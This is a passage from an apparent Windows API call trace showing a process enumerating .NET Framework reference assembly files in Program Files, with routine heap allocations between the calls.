ftLastAccessTime.dwLowDateTime=0xb64fb223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64fb223, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 1 [0089.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb462f54b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb462f54b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46a196b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 1 [0089.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.526] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64fb223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64fb223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6521384, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 1 [0089.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.528] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65b9905, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 1 [0089.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.529] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb462f54b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 1 [0089.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.530] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb462f54b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb462f54b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb462f54b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 1 [0089.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.532] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6651e86, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6651e86, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6677fe6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.dll", cAlternateFileName="")) returned 1 [0089.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb669e146, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb669e146, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb669e146, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.dll", cAlternateFileName="")) returned 1 [0089.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.535] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.dll", cAlternateFileName="")) returned 1 [0089.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.536] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44fea48, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44fea48, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44fea48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Web.dll", cAlternateFileName="")) returned 1 [0089.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.538] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb662bd26, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb662bd26, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Abstractions.dll", cAlternateFileName="")) returned 1 [0089.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.539] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6488e03, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6488e03, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6488e03, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.dll", cAlternateFileName="")) returned 1 [0089.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.541] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64d50c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64d50c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64d50c3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.dll", cAlternateFileName="")) returned 1 [0089.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.542] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6521384, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6521384, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6521384, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.Design.dll", cAlternateFileName="")) returned 1 [0089.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.543] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6677fe6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6677fe6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6677fe6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.dll", cAlternateFileName="")) returned 1 [0089.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.545] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65b9905, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65b9905, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65b9905, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.dll", cAlternateFileName="")) returned 1 [0089.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.546] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46a196b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46a196b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46c7acc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x138000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.dll", cAlternateFileName="")) returned 1 [0089.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6677fe6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6677fe6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb669e146, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Routing.dll", cAlternateFileName="")) returned 1 [0089.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.550] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e608f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x8e608f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x8e62f07c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Presentation.dll", cAlternateFileName="")) returned 1 [0089.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.551] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44d88e8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44d88e8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44fea48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.WorkflowServices.dll", cAlternateFileName="")) returned 1 [0089.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.552] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 1 [0089.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.554] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 0 [0089.554] GetLastError () returned 0x12 [0089.554] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0089.554] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.554] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.554] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565d698d, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x565d698d, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754f141c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0089.554] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6605bc5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6605bc5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1 [0089.554] FindNextFileW (in: 